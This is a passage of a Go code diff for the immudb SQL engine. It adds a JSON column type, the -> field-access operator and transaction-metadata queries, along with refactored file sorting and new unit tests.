EncodeRawValue(val.RawValue(), colType, maxLen, false) + v, err := getEncodeRawValue(val, colType) + if err != nil { + return nil, err + } + return EncodeRawValue(v, colType, maxLen, false) } func EncodeNullableValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { - return EncodeRawValue(val.RawValue(), colType, maxLen, true) + v, err := getEncodeRawValue(val, colType) + if err != nil { + return nil, err + } + return EncodeRawValue(v, colType, maxLen, true) } // EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. @@ -1402,6 +1429,22 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int, nullable return encv[:], nil } + case JSONType: + rawJson, ok := val.(json.RawMessage) + if !ok { + data, err := json.Marshal(val) + if err != nil { + return nil, err + } + rawJson = data + } + + // len(v) + v + encv := make([]byte, EncLenLen+len(rawJson)) + binary.BigEndian.PutUint32(encv[:], uint32(len(rawJson))) + copy(encv[EncLenLen:], rawJson) + + return encv[:], nil case UUIDType: { uuidVal, ok := convVal.(uuid.UUID) @@ -1519,6 +1562,16 @@ func decodeValue(b []byte, colType SQLValueType, nullable bool) (TypedValue, int return &Blob{val: v}, voff, nil } + case JSONType: + { + v := b[voff : voff+vlen] + voff += vlen + + var val interface{} + err = json.Unmarshal(v, &val) + + return &JSON{val: val}, voff, err + } case UUIDType: { if vlen != 16 { diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index e6850465c3..ba33f73d9b 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -55,6 +55,7 @@ var ErrNewColumnMustBeNullable = errors.New("new column must be nullable") var ErrIndexAlreadyExists = errors.New("index already exists") var ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") var ErrIndexNotFound = errors.New("index not found") +var ErrCannotIndexJson = errors.New("cannot index column of type json") var ErrInvalidNumberOfValues = errors.New("invalid number of values provided") var ErrInvalidValue = errors.New("invalid value provided") var ErrInferredMultipleTypes = errors.New("inferred multiple types") @@ -89,6 +90,7 @@ var ErrAlreadyClosed = store.ErrAlreadyClosed var ErrAmbiguousSelector = errors.New("ambiguous selector") var ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) var ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") +var ErrInvalidTxMetadata = errors.New("invalid transaction metadata") var MaxKeyLen = 512 @@ -105,8 +107,8 @@ type Engine struct { sortBufferSize int autocommit bool lazyIndexConstraintValidation bool - - multidbHandler MultiDBHandler + parseTxMetadata func([]byte) (map[string]interface{}, error) + multidbHandler MultiDBHandler } type MultiDBHandler interface { @@ -146,6 +148,7 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { sortBufferSize: opts.sortBufferSize, autocommit: opts.autocommit, lazyIndexConstraintValidation: opts.lazyIndexConstraintValidation, + parseTxMetadata: opts.parseTxMetadata, multidbHandler: opts.multidbHandler, } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1e059b10c6..dc24ea724e 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -19,6 +19,7 @@ package sql import ( "context" "encoding/hex" + "encoding/json" "errors" "fmt" "math" @@ -2786,6 +2787,350 @@ func TestQuery(t *testing.T) { require.NoError(t, err) } +func TestJSON(t *testing.T) { + opts := store.DefaultOptions().WithMultiIndexing(true) + opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) + + st, err := store.Open(t.TempDir(), opts) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE tbl_with_json ( + id INTEGER AUTO_INCREMENT, + json_data JSON NOT NULL, + + PRIMARY KEY(id) + )`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + `INSERT INTO tbl_with_json(json_data) VALUES ('invalid json value')`, + nil, + ) + require.ErrorIs(t, err, ErrInvalidValue) + + _, _, err = engine.Exec( + context.Background(), + nil, + `INSERT INTO tbl_with_json(json_data) VALUES (10)`, + nil, + ) + require.ErrorIs(t, err, ErrInvalidValue) + + n := 100 + for i := 0; i < n; i++ { + data := fmt.Sprintf( + `{"usr": {"name": "%s", "active": %t, "details": {"age": %d, "city": "%s"}, "perms": ["r", "w"]}}`, + fmt.Sprintf("name%d", i+1), + i%2 == 0, + i+1, + fmt.Sprintf("city%d", i+1), + ) + + _, _, err = engine.Exec( + context.Background(), + nil, + fmt.Sprintf(`INSERT INTO tbl_with_json(json_data) VALUES ('%s')`, data), + nil, + ) + require.NoError(t, err) + } + + t.Run("apply -> operator on non JSON column", func(t *testing.T) { + _, err := engine.queryAll( + context.Background(), + nil, + "SELECT id->'name' FROM tbl_with_json", + nil, + ) + require.ErrorContains(t, err, "-> operator cannot be applied on column of type INTEGER") + }) + + t.Run("filter json fields", func(t *testing.T) { + t.Run("filter boolean value", func(t *testing.T) { + rows, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT json_data->'usr' + FROM tbl_with_json + WHERE json_data->'usr'->'active' = TRUE + `, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n/2) + + for i, row := range rows { + usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->usr")].RawValue().(map[string]interface{}) + + require.Equal(t, map[string]interface{}{ + "name": fmt.Sprintf("name%d", (2*i + 1)), + "active": true, + "details": map[string]interface{}{ + "age": float64((2*i + 1)), + "city": fmt.Sprintf("city%d", (2*i + 1)), + }, + "perms": []interface{}{ + "r", "w", + }, + }, usr) + } + }) + + t.Run("filter numeric value", func(t *testing.T) { + rows, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT json_data->'usr'->'name' + FROM tbl_with_json + WHERE json_data->'usr'->'details'->'age' + 1 >= 52 + `, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n/2) + + for i, row := range rows { + name := row.ValuesByPosition[0].RawValue() + require.Equal(t, name, fmt.Sprintf("name%d", 51+i)) + } + }) + + t.Run("filter varchar value", func(t *testing.T) { + rows, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT json_data->'usr'->'name' + FROM tbl_with_json + WHERE json_data->'usr'->'name' LIKE '^name.*' AND json_data->'usr'->'perms'->'0' = 'r' + `, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + for i, row := range rows { + name := row.ValuesByPosition[0].RawValue() + require.Equal(t, name, fmt.Sprintf("name%d", i+1)) + } + }) + }) + + t.Run("order by json field", func(t *testing.T) { + _, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT json_data + FROM tbl_with_json + ORDER BY json_data + `, + nil, + ) + require.ErrorIs(t, err, ErrNotComparableValues) + + rows, err := engine.queryAll( + context.Background(), + nil, + ` + SELECT json_data->'usr', json_data->'usr'->'details'->'age' as age, json_data->'usr'->'details'->'city' as city, json_data->'usr'->'name' as name + FROM tbl_with_json + ORDER BY json_data->'usr'->'details'->'age' DESC + `, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + for i, row := range rows { + usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->usr")].RawValue().(map[string]interface{}) + name, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "name")].RawValue().(string) + age, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "age")].RawValue().(float64) + city, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "city")].RawValue().(string) + + require.Equal(t, map[string]interface{}{ + "name": name, + "active": (n-1-i)%2 == 0, + "details": map[string]interface{}{ + "age": age, + "city": city, + }, + "perms": []interface{}{"r", "w"}, + }, usr) + + require.Equal(t, fmt.Sprintf("name%d", n-i), name) + require.Equal(t, float64(n-i), age) + require.Equal(t, fmt.Sprintf("city%d", n-i), city) + } + }) + + t.Run("test join on json field", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, value VARCHAR, PRIMARY KEY(id))", nil) + require.NoError(t, err) + + for i := 0; i < 10; i++ { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(value) VALUES (@name)", map[string]interface{}{"name": fmt.Sprintf("name%d", i+1)}) + require.NoError(t, err) + } + + rows, err := engine.queryAll( + context.Background(), + nil, + "SELECT table1.value, json_data->'usr'->'name' FROM tbl_with_json JOIN table1 ON table1.value = tbl_with_json.json_data->'usr'->'name' ORDER BY table1.id", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 10) + + for i, row := range rows { + require.Len(t, row.ValuesByPosition, 2) + require.Equal(t, fmt.Sprintf("name%d", i+1), row.ValuesByPosition[0].RawValue()) + require.Equal(t, row.ValuesByPosition[0].RawValue(), row.ValuesByPosition[1].RawValue()) + } + }) + + _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM tbl_with_json", nil) + require.NoError(t, err) + + randJson := func(src *rand.Rand) interface{} { + switch src.Intn(6) { + case 0: + return src.Float64() + case 1: + return fmt.Sprintf("string%d", src.Int63()) + case 2: + return src.Int()%2 == 0 + case 3: + return map[string]interface{}{ + "test": "value", + } + case 4: + return []interface{}{"test", true, 10.5} + } + return nil + } + + seed := time.Now().UnixNano() + src := rand.New(rand.NewSource(seed)) + for i := 0; i < n; i++ { + data := randJson(src) + + jsonData, err := json.Marshal(data) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO tbl_with_json(json_data) VALUES (@data)", + map[string]interface{}{"data": string(jsonData)}, + ) + require.NoError(t, err) + } + + t.Run("lookup field", func(t *testing.T) { + rows, err := engine.queryAll( + context.Background(), + nil, + "SELECT json_data, json_data->'test' FROM tbl_with_json", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + for _, row := range rows { + data := row.ValuesByPosition[0].RawValue() + value := row.ValuesByPosition[1].RawValue() + if _, isObject := data.(map[string]interface{}); isObject { + require.Equal(t, "value", row.ValuesByPosition[1].RawValue()) + } else { + require.Nil(t, value) + } + } + }) + + t.Run("query json with mixed types", func(t *testing.T) { + rows, err := engine.queryAll( + context.Background(), + nil, + "SELECT json_data FROM tbl_with_json", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + stringValues := 0 + + src := rand.New(rand.NewSource(seed)) + for _, row := range rows { + s := row.ValuesByPosition[0].RawValue() + require.Equal(t, randJson(src), s) + + if _, ok := s.(string); ok { + stringValues++ + } + } + + rows, err = engine.queryAll( + context.Background(), + nil, + "SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(stringValues)) + }) + + t.Run("update json data", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + fmt.Sprintf(`UPDATE tbl_with_json SET json_data = '%d' WHERE json_typeof(json_data) = 'STRING'`, rand.Int63()), + nil, + ) + require.NoError(t, err) + + rows, err := engine.queryAll( + context.Background(), + nil, + "SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Zero(t, rows[0].ValuesByPosition[0].RawValue()) + }) + + t.Run("cannot index json column", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "CREATE INDEX ON tbl_with_json(json_data);", nil) + require.ErrorIs(t, err, ErrCannotIndexJson) + + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE test ( + json_data JSON NOT NULL, + + PRIMARY KEY(json_data) + )`, nil) + require.ErrorIs(t, err, ErrCannotIndexJson) + }) +} + func TestQueryCornerCases(t *testing.T) { opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) @@ -2813,7 +3158,6 @@ func TestQueryCornerCases(t *testing.T) { require.NoError(t, err) t.Run("run out of snapshots", func(t *testing.T) { - // Get one tx that takes the snapshot tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) @@ -8168,3 +8512,86 @@ func (t *BrokenCatalogTestSuite) TestErrorDroppedPrimaryIndexColumn() { err = c.load(context.Background(), tx.tx) t.Require().ErrorIs(err, ErrColumnDoesNotExist) } + +func TestQueryTxMetadata(t *testing.T) { + opts := store.DefaultOptions().WithMultiIndexing(true) + opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) + + st, err := store.Open(t.TempDir(), opts) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, + DefaultOptions().WithPrefix(sqlPrefix).WithParseTxMetadataFunc(func(b []byte) (map[string]interface{}, error) { + var md map[string]interface{} + err := json.Unmarshal(b, &md) + return md, err + }), + ) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), nil, + ` + CREATE TABLE mytbl ( + id INTEGER AUTO_INCREMENT, + + PRIMARY KEY(id) + )`, nil) + require.NoError(t, err) + + for i := 0; i < 10; i++ { + extra, err := json.Marshal(map[string]interface{}{ + "n": i + 1, + }) + require.NoError(t, err) + + txOpts := DefaultTxOptions().WithExtra(extra) + tx, err := engine.NewTx(context.Background(), txOpts) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + tx, + fmt.Sprintf("INSERT INTO mytbl(id) VALUES (%d)", i+1), + nil, + ) + require.NoError(t, err) + } + + rows, err := engine.queryAll( + context.Background(), + nil, + "SELECT _tx_metadata->'n' FROM mytbl", + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 10) + + for i, row := range rows { + n := row.ValuesBySelector[EncodeSelector("", "mytbl", "_tx_metadata->n")].RawValue() + require.Equal(t, float64(i+1), n) + } + + engine.parseTxMetadata = nil + + _, err = engine.queryAll( + context.Background(), + nil, + "SELECT _tx_metadata->'n' FROM mytbl", + nil, + ) + require.ErrorContains(t, err, "unable to parse tx metadata") + + engine.parseTxMetadata = func(b []byte) (map[string]interface{}, error) { + return nil, fmt.Errorf("parse error") + } + + _, err = engine.queryAll( + context.Background(), + nil, + "SELECT _tx_metadata->'n' FROM mytbl", + nil, + ) + require.ErrorIs(t, err, ErrInvalidTxMetadata) +} diff --git a/embedded/sql/file_sort.go b/embedded/sql/file_sort.go index 66a71659f4..b15fa6c16d 100644 --- a/embedded/sql/file_sort.go +++ b/embedded/sql/file_sort.go @@ -33,7 +33,7 @@ type sortedChunk struct { type fileSorter struct { colPosBySelector map[string]int colTypes []string - cmp func(r1, r2 Tuple) int + cmp func(r1, r2 *Row) (int, error) tx *SQLTx sortBufSize int @@ -64,7 +64,9 @@ func (s *fileSorter) update(r *Row) error { func (s *fileSorter) finalize() (resultReader, error) { if s.nextIdx > 0 { - s.sortBuffer() + if err := s.sortBuffer(); err != nil { + return nil, err + } } // result rows are all in memory @@ -98,12 +100,16 @@ func (s *fileSorter) mergeAllChunks() (resultReader, error) { rbuf := &bufio.Reader{} lr := &fileRowReader{ - colTypes: s.colTypes, - reader: lbuf, + colPosBySelector: s.colPosBySelector, + colTypes: s.colTypes, + reader: lbuf, + reuseRow: true, } rr := &fileRowReader{ - colTypes: s.colTypes, - reader: rbuf, + colPosBySelector: s.colPosBySelector, + colTypes: s.colTypes, + reader: rbuf, + reuseRow: true, } chunks := s.chunksToMerge @@ -169,12 +175,12 @@ func (s *fileSorter) mergeAllChunks() (resultReader, error) { func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error { var err error var lrAtEOF bool - var t1, t2 Tuple + var r1, r2 *Row for { - if t1 == nil { - t1, err = lr.ReadValues() - if err == io.EOF { + if r1 == nil { + r1, err = lr.Read() + if err == ErrNoMoreRows { lrAtEOF = true break } @@ -184,9 +190,9 @@ func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error } } - if t2 == nil { - t2, err = rr.ReadValues() - if err == io.EOF { + if r2 == nil { + r2, err = rr.Read() + if err == ErrNoMoreRows { break } @@ -196,15 +202,20 @@ func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error } var rawData []byte - if s.cmp(t1, t2) < 0 { + res, err := s.cmp(r1, r2) + if err != nil { + return err + } + + if res < 0 { rawData = lr.rowBuf.Bytes() - t1 = nil + r1 = nil } else { rawData = rr.rowBuf.Bytes() - t2 = nil + r2 = nil } - _, err := writer.Write(rawData) + _, err = writer.Write(rawData) if err != nil { return err } @@ -248,13 +259,15 @@ type fileRowReader struct { colTypes []SQLValueType reader io.Reader rowBuf bytes.Buffer + row *Row + reuseRow bool } -func (r *fileRowReader) ReadValues() ([]TypedValue, error) { +func (r *fileRowReader) readValues(out []TypedValue) error { var size uint16 err := binary.Read(r.reader, binary.BigEndian, &size) if err != nil { - return nil, err + return err } r.rowBuf.Reset() @@ -263,15 +276,17 @@ func (r *fileRowReader) ReadValues() ([]TypedValue, error) { _, err = io.CopyN(&r.rowBuf, r.reader, int64(size)) if err != nil { - return nil, err + return err } data := r.rowBuf.Bytes() - return decodeValues(data[2:], r.colTypes) + return decodeValues(data[2:], r.colTypes, out) } func (r *fileRowReader) Read() (*Row, error) { - values, err := r.ReadValues() + row := r.getRow() + + err := r.readValues(row.ValuesByPosition) if err == io.EOF { return nil, ErrNoMoreRows } @@ -279,48 +294,60 @@ func (r *fileRowReader) Read() (*Row, error) { return nil, err } - valuesBySelector := make(map[string]TypedValue) for sel, pos := range r.colPosBySelector { - valuesBySelector[sel] = values[pos] - } - - row := &Row{ - ValuesByPosition: values, - ValuesBySelector: valuesBySelector, + row.ValuesBySelector[sel] = row.ValuesByPosition[pos] } return row, nil } -func decodeValues(data []byte, colTypes []SQLValueType) ([]TypedValue, error) { - values := make([]TypedValue, len(colTypes)) +func (r *fileRowReader) getRow() *Row { + row := r.row + if row == nil || !r.reuseRow { + row = &Row{ + ValuesByPosition: make([]TypedValue, len(r.colPosBySelector)), + ValuesBySelector: make(map[string]TypedValue, len(r.colPosBySelector)), + } + r.row = row + } + return row +} +func decodeValues(data []byte, colTypes []SQLValueType, out []TypedValue) error { var voff int for i, col := range colTypes { v, n, err := DecodeNullableValue(data[voff:], col) if err != nil { - return nil, err + return err } voff += n - values[i] = v + out[i] = v } - return values, nil + return nil } func (s *fileSorter) sortAndFlushBuffer() error { - s.sortBuffer() + if err := s.sortBuffer(); err != nil { + return err + } return s.flushBuffer() } -func (s *fileSorter) sortBuffer() { +func (s *fileSorter) sortBuffer() error { buf := s.sortBuf[:s.nextIdx] + var outErr error sort.Slice(buf, func(i, j int) bool { r1 := buf[i] r2 := buf[j] - return s.cmp(r1.ValuesByPosition, r2.ValuesByPosition) < 0 + res, err := s.cmp(r1, r2) + if err != nil { + outErr = err + } + return res < 0 }) + return outErr } func (s *fileSorter) flushBuffer() error { diff --git a/embedded/sql/json_type.go b/embedded/sql/json_type.go new file mode 100644 index 0000000000..1ac19565a9 --- /dev/null +++ b/embedded/sql/json_type.go @@ -0,0 +1,211 @@ +package sql + +import ( + "encoding/json" + "fmt" + "strconv" + "strings" +) + +const ( + JSONTypeNumber = "NUMBER" + JSONTypeBool = "BOOL" + JSONTypeString = "STRING" + JSONTypeArray = "ARRAY" + JSONTypeObject = "OBJECT" + JSONTypeNull = "NULL" +) + +type JSON struct { + val interface{} +} + +func NewJson(val interface{}) *JSON { + return &JSON{val: val} +} + +func (v *JSON) Type() SQLValueType { + return JSONType +} + +func (v *JSON) IsNull() bool { + return false +} + +func (v *JSON) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return JSONType, nil +} + +func (v *JSON) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + ok := t == JSONType + switch t { + case IntegerType, Float64Type: + _, isInt := v.val.(int64) + _, isFloat := v.val.(float64) + ok = isInt || (isFloat && t == Float64Type) + case VarcharType: + _, ok = v.val.(string) + case BooleanType: + _, ok = v.val.(bool) + case AnyType: + ok = v.val == nil + } + + if !ok { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, JSONType, t) + } + return nil +} + +func (v *JSON) substitute(params map[string]interface{}) (ValueExp, error) { + return v, nil +} + +func (v *JSON) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + return v, nil +} + +func (v *JSON) reduceSelectors(row *Row, implicitTable string) ValueExp { + return v +} + +func (v *JSON) isConstant() bool { + return true +} + +func (v *JSON) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { + return nil +} + +func (v *JSON) RawValue() interface{} { + return v.val +} + +func (v *JSON) Compare(val TypedValue) (int, error) { + tv, ok := v.castToTypedValue() + if !ok { + return -1, fmt.Errorf("%w: comparison not defined for JSON %s", ErrNotComparableValues, v.primitiveType()) + } + + if val.Type() != JSONType { + return tv.Compare(val) + } + + res, err := val.Compare(tv) + return -res, err +} + +func (v *JSON) primitiveType() string { + switch v.val.(type) { + case int64, float64: + return JSONTypeNumber + case string: + return JSONTypeString + case bool: + return JSONTypeBool + case nil: + return JSONTypeNull + case []interface{}: + return JSONTypeArray + } + return JSONTypeObject +} + +func (v *JSON) castToTypedValue() (TypedValue, bool) { + var tv TypedValue + switch val := v.val.(type) { + case int64: + tv = NewInteger(val) + case string: + tv = NewVarchar(val) + case float64: + tv = NewFloat64(val) + case bool: + tv = NewBool(val) + case nil: + tv = NewNull(JSONType) + default: + return nil, false + } + return tv, true +} + +func (v *JSON) String() string { + data, _ := json.Marshal(v.val) + return string(data) +} + +func (v *JSON) lookup(fields []string) TypedValue { + currVal := v.val + for i, field := range fields { + switch cv := currVal.(type) { + case map[string]interface{}: + v, hasField := cv[field] + if !hasField || (v == nil && i < len(field)-1) { + return NewNull(AnyType) + } + currVal = v + + if currVal == nil { + break + } + case []interface{}: + idx, err := strconv.ParseInt(field, 10, 64) + if err != nil || idx < 0 || idx >= int64(len(cv)) { + return NewNull(AnyType) + } + currVal = cv[idx] + default: + return NewNull(AnyType) + } + } + return NewJson(currVal) +} + +type JSONSelector struct { + *ColSelector + fields []string +} + +func (sel *JSONSelector) substitute(params map[string]interface{}) (ValueExp, error) { + return sel, nil +} + +func (v *JSONSelector) alias() string { + if v.ColSelector.as != "" { + return v.ColSelector.as + } + return v.string() +} + +func (v *JSONSelector) resolve(implicitTable string) (string, string, string) { + aggFn, table, _ := v.ColSelector.resolve(implicitTable) + return aggFn, table, v.string() +} + +func (v *JSONSelector) string() string { + return fmt.Sprintf("%s->%s", v.ColSelector.col, strings.Join(v.fields, "->")) +} + +func (sel *JSONSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + val, err := sel.ColSelector.reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + + jsonVal, ok := val.(*JSON) + if !ok { + return val, fmt.Errorf("-> operator cannot be applied on column of type %s", val.Type()) + } + return jsonVal.lookup(sel.fields), nil +} + +func (sel *JSONSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { + val := sel.ColSelector.reduceSelectors(row, implicitTable) + + jsonVal, ok := val.(*JSON) + if !ok { + return sel + } + return jsonVal.lookup(sel.fields) +} diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index 652c9069c3..8d4731e7f3 100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -22,7 +22,6 @@ func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { if vl.Type() == Float64Type || vr.Type() == Float64Type { return applyNumOperatorFloat64(op, vl, vr) } - return applyNumOperatorInteger(op, vl, vr) } diff --git a/embedded/sql/options.go b/embedded/sql/options.go index ed0edbf36f..3939f27655 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -33,6 +33,7 @@ type Options struct { distinctLimit int autocommit bool lazyIndexConstraintValidation bool + parseTxMetadata func([]byte) (map[string]interface{}, error) multidbHandler MultiDBHandler } @@ -92,3 +93,8 @@ func (opts *Options) WithSortBufferSize(size int) *Options { opts.sortBufferSize = size return opts } + +func (opts *Options) WithParseTxMetadataFunc(parseFunc func([]byte) (map[string]interface{}, error)) *Options { + opts.parseTxMetadata = parseFunc + return opts +} diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index a2922a8eb0..11afcf3f80 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -118,6 +118,7 @@ var types = map[string]SQLValueType{ "BLOB": BLOBType, "TIMESTAMP": TimestampType, "FLOAT": Float64Type, + "JSON": JSONType, } var aggregateFns = map[string]AggregateFn{ @@ -276,6 +277,11 @@ func (l *lexer) Lex(lval *yySymType) int { return STMT_SEPARATOR } + if ch == '-' && l.r.nextChar == '>' { + l.r.ReadByte() + return ARROW + } + if isBLOBPrefix(ch) && isQuote(l.r.nextChar) { l.r.ReadByte() // consume starting quote diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 79ee7df449..70841503b4 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -261,7 +261,7 @@ func TestCreateTableStmt(t *testing.T) { expectedError: nil, }, { - input: "CREATE TABLE table1 (id INTEGER, name VARCHAR(50), ts TIMESTAMP, active BOOLEAN, content BLOB, PRIMARY KEY (id, name))", + input: "CREATE TABLE table1 (id INTEGER, name VARCHAR(50), ts TIMESTAMP, active BOOLEAN, content BLOB, json_data JSON, PRIMARY KEY (id, name))", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", @@ -272,6 +272,7 @@ func TestCreateTableStmt(t *testing.T) { {colName: "ts", colType: TimestampType}, {colName: "active", colType: BooleanType}, {colName: "content", colType: BLOBType}, + {colName: "json_data", colType: JSONType}, }, pkColNames: []string{"id", "name"}, }}, @@ -1151,27 +1152,19 @@ func TestSelectStmt(t *testing.T) { expectedError: nil, }, { - input: "SELECT COUNT(*), SUM(age) FROM table1 ORDER BY SUM(age)", + input: "SELECT json_data->'info'->'address'->'street' FROM table1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, selectors: []Selector{ - &AggColSelector{aggFn: "COUNT", col: "*"}, - &AggColSelector{aggFn: "SUM", col: "age"}, - }, - ds: &tableRef{table: "table1"}, - where: nil, - orderBy: []*OrdCol{ - { - sel: &AggColSelector{ - aggFn: "SUM", - col: "age", - as: "", - }, + &JSONSelector{ + ColSelector: &ColSelector{col: "json_data"}, + fields: []string{"info", "address", "street"}, }, }, - }, - }, + ds: &tableRef{table: "table1"}, + }}, + expectedError: nil, }, } diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index d2642241e3..c56fa24ffe 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -22,8 +22,7 @@ import ( ) type projectedRowReader struct { - rowReader RowReader - + rowReader RowReader tableAlias string selectors []Selector @@ -125,15 +124,14 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co } colDescriptors := make(map[string]ColDescriptor, len(pr.selectors)) + emptyParams := make(map[string]string) for i, sel := range pr.selectors { aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, table, col) - - colDesc, ok := dsColDescriptors[encSel] - if !ok { - return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) + sqlType, err := sel.inferType(dsColDescriptors, emptyParams, pr.rowReader.TableAlias()) + if err != nil { + return nil, err } if pr.tableAlias != "" { @@ -156,7 +154,7 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co AggFn: aggFn, Table: table, Column: col, - Type: colDesc.Type, + Type: sqlType, } colDescriptors[des.Selector()] = des @@ -185,15 +183,12 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } for i, sel := range pr.selectors { - aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) - - encSel := EncodeSelector(aggFn, table, col) - - val, ok := row.ValuesBySelector[encSel] - if !ok { - return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) + v, err := sel.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) + if err != nil { + return nil, err } + aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) if pr.tableAlias != "" { table = pr.tableAlias } @@ -210,10 +205,9 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } } - prow.ValuesByPosition[i] = val - prow.ValuesBySelector[EncodeSelector(aggFn, table, col)] = val + prow.ValuesByPosition[i] = v + prow.ValuesBySelector[EncodeSelector(aggFn, table, col)] = v } - return prow, nil } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index c2d8508294..46e122481c 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -21,6 +21,7 @@ import ( "crypto/sha256" "encoding/binary" "errors" + "fmt" "math" "github.com/codenotary/immudb/embedded/store" @@ -44,11 +45,24 @@ type ScanSpecs struct { Index *Index rangesByColID map[uint32]*typedValueRange IncludeHistory bool + IncludeTxMetadata bool DescOrder bool groupBySortColumns []*OrdCol orderBySortCols []*OrdCol } +func (s *ScanSpecs) extraCols() int { + n := 0 + if s.IncludeHistory { + n++ + } + + if s.IncludeTxMetadata { + n++ + } + return n +} + type Row struct { ValuesByPosition []TypedValue ValuesBySelector map[string]TypedValue @@ -191,28 +205,34 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per tableAlias = table.name } - var colsByPos []ColDescriptor - var colsBySel map[string]ColDescriptor + nCols := len(table.cols) + scanSpecs.extraCols() - var off int + colsByPos := make([]ColDescriptor, nCols) + colsBySel := make(map[string]ColDescriptor, nCols) + off := 0 if scanSpecs.IncludeHistory { - colsByPos = make([]ColDescriptor, 